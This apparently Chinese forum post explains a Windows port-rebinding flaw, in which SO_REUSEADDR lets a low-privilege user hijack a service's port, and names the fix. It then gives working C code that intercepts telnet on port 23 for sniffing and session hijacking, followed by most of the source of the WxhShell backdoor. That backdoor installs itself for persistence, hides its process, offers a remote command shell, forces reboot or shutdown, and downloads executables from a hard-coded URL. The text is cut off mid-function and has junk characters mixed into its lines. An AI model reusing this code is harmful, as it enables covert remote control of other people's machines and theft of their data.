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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2e@\6l,!^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #%tL8/K*  
!Y(qpC:$  
  saddr.sin_family = AF_INET; B4&pBiG&f6  
7]zZh a4X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); svjFy/T(lL  
bx e97]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |o) _=Fx  
.3&OFM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 $KHDS:&  
K# < Wt5  
  这意味着什么?意味着可以进行如下的攻击: ulo7d1OVkJ  
k T>}(G||  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 eW,Pn'  
%k)I =|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) i>zyn-CuW  
&uW.V+3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ZM`_P!G  
e91d~  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  %$ ?Q%  
)/N! {`.9  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Bd[Gsns  
C,u.!g;lm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 q0Pu6"^  
bkIA:2HX  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 :''0z  
(oEA)yc|  
  #include !Sh5o'D28  
  #include H/{3 i  
  #include ?=rh=#  
  #include    sH: &OaA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %&(\dt&R1h  
  int main() n\9*B##  
  { kA`qExw%  
  WORD wVersionRequested; <sOB j'  
  DWORD ret; GefgOlg5"  
  WSADATA wsaData; _nq n|  
  BOOL val; n//a;m  
  SOCKADDR_IN saddr; C( ;7*]  
  SOCKADDR_IN scaddr; 3i~{x[Jc  
  int err; pl&GFf o  
  SOCKET s; 75i)$}_1B  
  SOCKET sc; W>Kn *Dy8~  
  int caddsize; + P.Ir  
  HANDLE mt; :+$_(* Z  
  DWORD tid;   b\mN^P~>A  
  wVersionRequested = MAKEWORD( 2, 2 ); j)Gr@F>  
  err = WSAStartup( wVersionRequested, &wsaData ); rt z(Jt{<  
  if ( err != 0 ) { "p\KePc;@  
  printf("error!WSAStartup failed!\n"); u}_q'=<\  
  return -1; P6rL;_~e  
  } m`aUz}Y>c  
  saddr.sin_family = AF_INET; ERplDSfO-  
   X3vrD{uNU  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3{z }[@N  
QKxu vW  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); =6:Iv"<  
  saddr.sin_port = htons(23); 4 @h6|=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;$]R#1i44  
  { o? =u#=  
  printf("error!socket failed!\n"); 5Jp>2d  
  return -1; J u7AxTf~  
  } -v] 0@jNe  
  val = TRUE; WJWhx4Hk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 h 9/68Gc?6  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) DpAuI w7|  
  { dc* #?G6^  
  printf("error!setsockopt failed!\n"); 3[$VW+YV  
  return -1; eZHi6v)i  
  } LT!4pD:a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bbnAmZ   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <e"2<qVi  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ZtiOf}@i\  
<W1!n$V ]  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8u4]@tJH  
  { mtp[]  
  ret=GetLastError(); {k>m5L  
  printf("error!bind failed!\n"); MLJ8m  
  return -1; Ty5\zxC|  
  } XyhdsH5%3!  
  listen(s,2); DvGtO)5._  
  while(1) ]yyfE7{q  
  { SU1, +7"  
  caddsize = sizeof(scaddr); L/shF}<  
  //接受连接请求 k0,~wn\#h  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sfH|sp  
  if(sc!=INVALID_SOCKET) !#3R<bW`R8  
  { ?tOzhrv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Jyn>:Yq(  
  if(mt==NULL) _ ge3R3  
  { = hpX2/]  
  printf("Thread Creat Failed!\n"); f -#fi7  
  break; r$+9grm<  
  } [KJm&\evp  
  } q\ ?6-?Mr  
  CloseHandle(mt); edm&,ph]  
  } 1}N5WBp  
  closesocket(s); s%Z3Zj(,8(  
  WSACleanup(); VF4F7'  
  return 0; ,30&VW##  
  }   B^oXUEOImq  
  DWORD WINAPI ClientThread(LPVOID lpParam) lA{Sr0f TP  
  { *Owq_)_ (|  
  SOCKET ss = (SOCKET)lpParam; 7eY*Y"GX  
  SOCKET sc;  oo2VT  
  unsigned char buf[4096]; 1=s%.0  
  SOCKADDR_IN saddr; z19y>j  
  long num; pNDL:vMWP  
  DWORD val; 4bmpMF-  
  DWORD ret; Hkpn/,D5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ~;{)S}U@R  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   QjPcfR\  
  saddr.sin_family = AF_INET; P /Js!e<\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); o zv><e#  
  saddr.sin_port = htons(23); D:f0W v  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #T+%$q [:  
  { ~$+9L2gz  
  printf("error!socket failed!\n"); h:l\kr|9  
  return -1; Pb!kl #  
  } B4I|"5G2y  
  val = 100; <pz;G}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %c[by  
  { #b:8-Lt:M  
  ret = GetLastError(); 8K{ TRPy  
  return -1; WJ=^r@Sf  
  } 5gi`&t`  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) m"`&FA  
  { JVU:`BH  
  ret = GetLastError(); c 8#A^q}  
  return -1; " GgK,d}%  
  } P#6y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TR]~r2z  
  { + 6O5hZ  
  printf("error!socket connect failed!\n"); Qu!Lc:oM?  
  closesocket(sc); EI]NOG 0  
  closesocket(ss); |eJ4"OPC  
  return -1; z6$W@-Vd  
  } :FB#,AOa_  
  while(1) ?> }bg  
  { GYZzWN}U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Rm{S,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2?#IwT'  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 m8fxDepFA  
  num = recv(ss,buf,4096,0); lQY?!oj&q  
  if(num>0) jCxw|tmgq  
  send(sc,buf,num,0); [P407Sa"  
  else if(num==0) ZEp UHdin  
  break; ?u"MsnCXYn  
  num = recv(sc,buf,4096,0); \2@OS6LUe  
  if(num>0) r1 )Og  
  send(ss,buf,num,0); '*|Wi}0R  
  else if(num==0) )EcE{!H6+  
  break; )k{zRq:d  
  } ul1#_xp  
  closesocket(ss); nJNdq`y2  
  closesocket(sc); ~Qeyh^wo  
  return 0 ;  5k{a(I  
  } aovRm|aOo'  
1 ^TOTY  
PSNfh7g  
========================================================== aHvTbpJ  
\E5%.KR  
下边附上一个代码,,WXhSHELL ORD@+ {  
HI*xk  
========================================================== dUyit-  
IxHusB  
#include "stdafx.h" LSS3(l[,:  
3FR'N%+  
#include <stdio.h> 4Bsx[~ u&  
#include <string.h> J.N%=-8  
#include <windows.h> :$lx]  
#include <winsock2.h> wK!4:]rhG  
#include <winsvc.h> 3V>2N)3`A  
#include <urlmon.h> `D6Bw=7  
LxC*{t/>8  
#pragma comment (lib, "Ws2_32.lib") 0.Pd,L(  
#pragma comment (lib, "urlmon.lib") HZ* <BjE:"  
]#z^G  
#define MAX_USER   100 // 最大客户端连接数 CA, &R <]  
#define BUF_SOCK   200 // sock buffer =yJJq=!  
#define KEY_BUFF   255 // 输入 buffer -SnP+X!  
I@76ABu^  
#define REBOOT     0   // 重启 h(*!s`1  
#define SHUTDOWN   1   // 关机 sS7r)HV&GI  
4 IuQQ  
#define DEF_PORT   5000 // 监听端口 dOh`F~ Y)e  
 Gqvj  
#define REG_LEN     16   // 注册表键长度 R/&Bze  
#define SVC_LEN     80   // NT服务名长度 1A^~gYr  
7vax[,a I  
// 从dll定义API Z6#}6Y{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u|t<f`ze  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A6v<+`?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); :f<3`x'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ve;#o<  
="hh=x.5J  
// wxhshell配置信息  *(5y;1KU  
struct WSCFG { k\rzvo=U  
  int ws_port;         // 监听端口 rw/WD(  
  char ws_passstr[REG_LEN]; // 口令 m08:EX P  
  int ws_autoins;       // 安装标记, 1=yes 0=no B/u0^!  
  char ws_regname[REG_LEN]; // 注册表键名 {U/a h2*  
  char ws_svcname[REG_LEN]; // 服务名 $Kw)BnV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7/%{7q3G>  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ad!= *n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 MM8@0t'E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uSh!A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0EiURVX  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rjqQWfShY  
^|-*amh  
}; @y?<Kv}s  
=g| e- XC  
// default Wxhshell configuration (T+fO}0  
struct WSCFG wscfg={DEF_PORT, *[K\_F?^h  
    "xuhuanlingzhe", g#b[-)Qx  
    1,  mkH {%7n  
    "Wxhshell", U"\$k&  
    "Wxhshell", owHV&(Go(B  
            "WxhShell Service", `@?f@p$(B  
    "Wrsky Windows CmdShell Service", L7oLV?k  
    "Please Input Your Password: ", 1|/P[!u  
  1, ]gI>ay"\QA  
  "http://www.wrsky.com/wxhshell.exe", yM}b  
  "Wxhshell.exe" a![x^@nF  
    }; ZuF"GNUC  
bV|(V>  
// 消息定义模块 =[{YI2S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  =d07c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Zq wxi1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e_mUO"  
char *msg_ws_ext="\n\rExit."; Ucnj7>+"  
char *msg_ws_end="\n\rQuit."; RW19I,d  
char *msg_ws_boot="\n\rReboot..."; N0A PX4j  
char *msg_ws_poff="\n\rShutdown..."; zzmZ`Ya  
char *msg_ws_down="\n\rSave to "; F~j U;L  
2p'ujAK  
char *msg_ws_err="\n\rErr!"; ACQbw)tiv}  
char *msg_ws_ok="\n\rOK!"; s>y=-7:N  
s%Ez/or(T  
char ExeFile[MAX_PATH]; &.XYI3Ab1  
int nUser = 0; S-)mv'Al'F  
HANDLE handles[MAX_USER]; ?M2#fD]e  
int OsIsNt; CZE!rpl  
t\YN\`XD  
SERVICE_STATUS       serviceStatus; NR3]MGBKv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (pY'v /a-  
=apcMW(zn  
// 函数声明 N~I2~f  
int Install(void); o#(z*v@  
int Uninstall(void); <?|v-(E  
int DownloadFile(char *sURL, SOCKET wsh); H"v3?g`S%  
int Boot(int flag); oq00)I1  
void HideProc(void); mDJF5I  
int GetOsVer(void); QEd>T"@g  
int Wxhshell(SOCKET wsl); r8PXdNg  
void TalkWithClient(void *cs); S0X %IG  
int CmdShell(SOCKET sock); %C&HR2  
int StartFromService(void); 4 yLC  
int StartWxhshell(LPSTR lpCmdLine); WSA;p=_  
_"BYnPq@wb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SCbN(OBN!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8NY $Iw  
w7n6@"q  
// 数据结构和表定义 wPhN_XV  
SERVICE_TABLE_ENTRY DispatchTable[] = #is1y3yh  
{ $@ /K/"  
{wscfg.ws_svcname, NTServiceMain}, &{#4^.Q  
{NULL, NULL} |Ld/{&Qr  
}; P bR6>'  
53y,eLf  
// 自我安装 DK2m(9/`3  
int Install(void) S@Rw+#QE  
{ $i# 1<Qj  
  char svExeFile[MAX_PATH]; Obl']Hr{y9  
  HKEY key; /SLAg&  
  strcpy(svExeFile,ExeFile); ~(%TQY5  
y\}39Z(]  
// 如果是win9x系统,修改注册表设为自启动 hg8gB8Xq  
if(!OsIsNt) { 4[@`j{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZY%]F,Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O0`k6$=6r  
  RegCloseKey(key); RI,Z&kXj2o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1UR ;}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Q/e$Ttt4J  
  RegCloseKey(key); Z1V%pg>]*  
  return 0; FcR(uv<  
    } PFP/Pe Ng;  
  } ]k2Jf}|  
}  '%! '1si  
else { lYZ5FacqC  
UNc!6Q-.  
// 如果是NT以上系统,安装为系统服务 GyE-fB4C  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n0o'ns  
if (schSCManager!=0) g.CUo:c  
{ .(!> *ka|  
  SC_HANDLE schService = CreateService !1MSuvWP  
  ( y  @&Cn  
  schSCManager, O0?.$f9 s  
  wscfg.ws_svcname, r[P5 ufy2]  
  wscfg.ws_svcdisp, [K2\e N~g  
  SERVICE_ALL_ACCESS, *G{%]\s?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {fsU(Jj\  
  SERVICE_AUTO_START, b_Us%{  
  SERVICE_ERROR_NORMAL, *W()|-[V3  
  svExeFile, <|= UrG  
  NULL, 5<-_"/_  
  NULL, n-q  
  NULL, MPt:bf#  
  NULL, ,3^gB,ka  
  NULL l#8SlRji  
  ); FU-YI"  
  if (schService!=0) rDNz<{evj  
  { ]fH U/%  
  CloseServiceHandle(schService); 9Vp|a&Ana  
  CloseServiceHandle(schSCManager); p1B~:9y9X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); E}U[VtaC  
  strcat(svExeFile,wscfg.ws_svcname); yRQR@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hdB.u^!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?b?`(JTR  
  RegCloseKey(key); LQVa,'  
  return 0; I>k >^  
    } |1d;0*HIgX  
  } oiP8~  
  CloseServiceHandle(schSCManager); : `D[0  
} Y,O)"6ev  
} 4_3O?IY  
J)O1)fR  
return 1; nZ?BC O  
} e|:#Y^  
vywd&7gK  
// 自我卸载 i~\fpay  
int Uninstall(void) tB"amv  
{ AJ-p|[wPz  
  HKEY key; l"%|VWZ{iq  
\VmqK&9   
if(!OsIsNt) { i_OoR"J%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kp") %p#  
  RegDeleteValue(key,wscfg.ws_regname); X#9}|rT56  
  RegCloseKey(key); wT?.Mte  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FY%v \`@1*  
  RegDeleteValue(key,wscfg.ws_regname); y7#$:+jQv  
  RegCloseKey(key); VO ^ [7Y  
  return 0; (fON\)l  
  } +RexQE  
} fI"q/+  
} u}u;jTi> 2  
else { FoM4QO  
%)[mbb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); reml|!F-)  
if (schSCManager!=0) nOxCni~ T  
{ srfFJX7*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $ JI`&  
  if (schService!=0) l,Un7]*  
  { j.MpQ^eJ7  
  if(DeleteService(schService)!=0) { 82F q}N <  
  CloseServiceHandle(schService); &wRdUIc  
  CloseServiceHandle(schSCManager); *<*{gO?Q4  
  return 0; mIVnc`3s  
  } ;+]9KIa_Pq  
  CloseServiceHandle(schService); 2SU G/-P#  
  } ^,zE Nqg7  
  CloseServiceHandle(schSCManager); }$u]aX<  
} vlCjh! x  
} \KfngYD]W  
KZO!  
return 1; 2UY0:y  e  
} Q:Q) -|,  
+7?p& -r)x  
// 从指定url下载文件 QC0^G,9.  
int DownloadFile(char *sURL, SOCKET wsh) /km^IH  
{ SeAokz>  
  HRESULT hr; B]dHMLzl  
char seps[]= "/"; $Tu%dE(OF  
char *token; DQW^;Ls  
char *file; kvs^*X''Ep  
char myURL[MAX_PATH]; B`OggdE  
char myFILE[MAX_PATH]; TF 6_4t6  
#M*h)/d[A  
strcpy(myURL,sURL); `we2zT  
  token=strtok(myURL,seps); Nj||^k  
  while(token!=NULL) 8'J> @ uW  
  { =zXpeo&|m  
    file=token; \~:Kp Kq  
  token=strtok(NULL,seps); ghd~p@4  
  } %Rv&VFg  
9,Zg'4",d  
GetCurrentDirectory(MAX_PATH,myFILE); W >eJGZ<  
strcat(myFILE, "\\"); %j=dKd>  
strcat(myFILE, file); # 'G/&&<  
  send(wsh,myFILE,strlen(myFILE),0); ,(Fo%.j  
send(wsh,"...",3,0); N kp>yVj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I9N?zmH  
  if(hr==S_OK) CF9a~^+%  
return 0; ,GXwi|Y  
else 5%D:w S1  
return 1; @B5@3zYs  
L?&+*|VxI  
} c#nFm&}dm  
O_0|Q@  
// 系统电源模块 /A\'_a|  
int Boot(int flag) 3B/ GcltfM  
{ p%,:U8fOR  
  HANDLE hToken; mk_cub@  
  TOKEN_PRIVILEGES tkp; `x$d8(1J`#  
Qi2yaEB  
  if(OsIsNt) { %1SA!1>j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S6,AY(V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hXM8`iFW5  
    tkp.PrivilegeCount = 1; 53P\OG^G`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ('Wo#3b$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X}p#9^%N  
if(flag==REBOOT) { F6h3M~uR  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /A}3kTp  
  return 0; D|Wekhm  
} 7}-.U=tnP  
else {  Fwyv>U  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) lxj_ (Uo  
  return 0; </tiNc  
} 0#F3@/1h  
  } ^M6v;8EU  
  else { _IOeO  
if(flag==REBOOT) { '?t]iRCeI7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6=A2Y:8  
  return 0; :Gqyj_|<  
} \$ ^z.  
else { ]Gow  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7oA$aJQ  
  return 0; YNc%[S[u^1  
} 8Fx~i#FT  
} XV1#/@H;  
vi@a87w>  
return 1; {=IK(H  
} I !9u](\0  
'cy35M  
// win9x进程隐藏模块 _o~<f)E[9  
void HideProc(void) dG.s8r*?M  
{ kNUbH!PO  
xB]~%nC[O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pD##lkJr  
  if ( hKernel != NULL ) iHr{ VQ  
  { (S0MqX*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jC ,foqL  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \    
    FreeLibrary(hKernel); N\=pH{  
  } ':!w%& \  
|4YDvDEJi  
return; %/~6Qq  
} ?;,s=2  
i96Pel  
// 获取操作系统版本 Z66akr  
int GetOsVer(void) eHF#ME  
{ QUb#;L@okn  
  OSVERSIONINFO winfo; !EF~I8d\]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); P .3j |)NW  
  GetVersionEx(&winfo); gZ   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Wd~aSz9  
  return 1; =DvFY]9{  
  else 15r,_Gp8  
  return 0; UA>~xJp=  
} ;TF(opW:  
@}!1Uk3ud  
// 客户端句柄模块 3qiE#+dC  
int Wxhshell(SOCKET wsl) PH9MB  
{ 3^q,'!PfB  
  SOCKET wsh; ]7O)iq%  
  struct sockaddr_in client; { > {|3  
  DWORD myID; (WR&Vt4Rh  
bsC~ 2S\o  
  while(nUser<MAX_USER) b(_PCVC  
{ 7_.z3K m:  
  int nSize=sizeof(client); GbwcbfH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); "BK'<j^q  
  if(wsh==INVALID_SOCKET) return 1; )W:`Q&/G  
A@j;H|  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 1}tZ,w>  
if(handles[nUser]==0) w}G2m)(  
  closesocket(wsh); C#emmg!a\  
else pM@|P,w {  
  nUser++; Kw3fpNd  
  } v{i'o4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /v: g' #n  
vpFN{UfD  
  return 0; Pg-~^"?y  
} \bCm]w R  
? 1?^>M  
// 关闭 socket ^5qX+!3r{  
void CloseIt(SOCKET wsh) $B7<1{<=W  
{ 00Tm0rY  
closesocket(wsh); oylY1~~}0K  
nUser--; bEV 9l  
ExitThread(0); yX,2`&c  
} pL]C]HGv  
Dp6]!;kx  
// 客户端请求句柄 k sJz44  
void TalkWithClient(void *cs) VjtI1I  
{ U/>f" F  
i@6MO'y  
  SOCKET wsh=(SOCKET)cs; ZO2u[HSO>  
  char pwd[SVC_LEN]; Dn) =V.  
  char cmd[KEY_BUFF]; _J 6|ju\  
char chr[1]; 3%/]y=rA  
int i,j; [z]@ <99/  
<&n3"  
  while (nUser < MAX_USER) { i6-q%%]6  
TYw0#ZXo  
if(wscfg.ws_passstr) { r42[pi]F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b,Ed}Ir  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tV9W4`Z2q  
  //ZeroMemory(pwd,KEY_BUFF); l$z[Vh^UU<  
      i=0; (zWzF_v  
  while(i<SVC_LEN) { Bz_['7D  
3I^KJ/)A  
  // 设置超时 g (33h2"  
  fd_set FdRead; #E2`KGCzW  
  struct timeval TimeOut; X"(!\{ySI;  
  FD_ZERO(&FdRead); JS642T  
  FD_SET(wsh,&FdRead); r62x*?/  
  TimeOut.tv_sec=8; RsIEY5Q  
  TimeOut.tv_usec=0; ?Mp~^sgp'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !aeL*`;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qDqIy+WR  
ibl^A=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rwtSn?0z"  
  pwd=chr[0]; { Y|h;@j$  
  if(chr[0]==0xd || chr[0]==0xa) { Yi{[llru  
  pwd=0; zG[fPD  
  break; aj20, w  
  } y+(<Is0w  
  i++; h.%VWsAO7  
    } 8d-; ;V  
VD,F?L!  
  // 如果是非法用户,关闭 socket kN`[Q$B  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sr)/ Mf  
} {v+i!a'+  
?#qA>:2,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); a { L`C"rJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C:hfI;*7  
+N5G4t#.  
while(1) { F] +t/  
]"dZE2!  
  ZeroMemory(cmd,KEY_BUFF); YZ7rs] A  
_R1UEE3M  
      // 自动支持客户端 telnet标准   doFp53NhV  
  j=0; "@gJ[BL#  
  while(j<KEY_BUFF) { EX>>-D7L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u%V =Ze  
  cmd[j]=chr[0]; $.QnM  
  if(chr[0]==0xa || chr[0]==0xd) { ,4NvD2Y  
  cmd[j]=0; 7t\kof  
  break; 6[69|&  
  } 4.,e3  
  j++; hEl)BRJ  
    } vPi\ v U{  
go]d+lhFB  
  // 下载文件 ]RPv@z:V  
  if(strstr(cmd,"http://")) { J,;; `sf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ufq"_^4  
  if(DownloadFile(cmd,wsh)) DA]!ndJD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D ,mFme  
  else t}cj8DC!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R=i$*6}a  
  } L -b~#  
  else { vn .wM  
u7^Z7; J  
    switch(cmd[0]) { L FHyiIO  
  kX'1.<[  
  // 帮助 VDPqI+z  
  case '?': { KofjveOiC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CLQ\Is^]  
    break; \Wt&z,  
  } bsr  
  // 安装 }C/}8<  
  case 'i': { #E^%h  
    if(Install()) D@[$?^H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 01H3@0Q6  
    else -3wg9uZ &  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YxS*im[%]  
    break; (-B0fqh=G  
    } xO/44D  
  // 卸载 j+_g37$:  
  case 'r': { h6)hZ'zV  
    if(Uninstall())  O5_[T43  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @`%.\_  
    else Oq*a4_R'YV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4yQ4lU,r  
    break; ++R-_oQ  
    } 9rn!U2  
  // 显示 wxhshell 所在路径 Z6K9E=%)c  
  case 'p': { EIEwrC  
    char svExeFile[MAX_PATH]; RZOk.~[v  
    strcpy(svExeFile,"\n\r"); g\rujxHlH  
      strcat(svExeFile,ExeFile); GS8,mQ8l*l  
        send(wsh,svExeFile,strlen(svExeFile),0); *fSa8CV  
    break; N%y%)MI8  
    } aR}NAL_`w  
  // 重启 " 8;D^  
  case 'b': { J#Bz )WmR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1?7QS\`)fB  
    if(Boot(REBOOT)) pRMM1&H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ut3jIZ1]  
    else { h=`rZC  
    closesocket(wsh); !RiPr(m@y  
    ExitThread(0); Ko/_w_  
    } uKpl+>  
    break; )byQ=-< 1  
    } #n2GW^x  
  // 关机 HeSnj-mtr}  
  case 'd': { "q#(}1Zd  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1;? L:A  
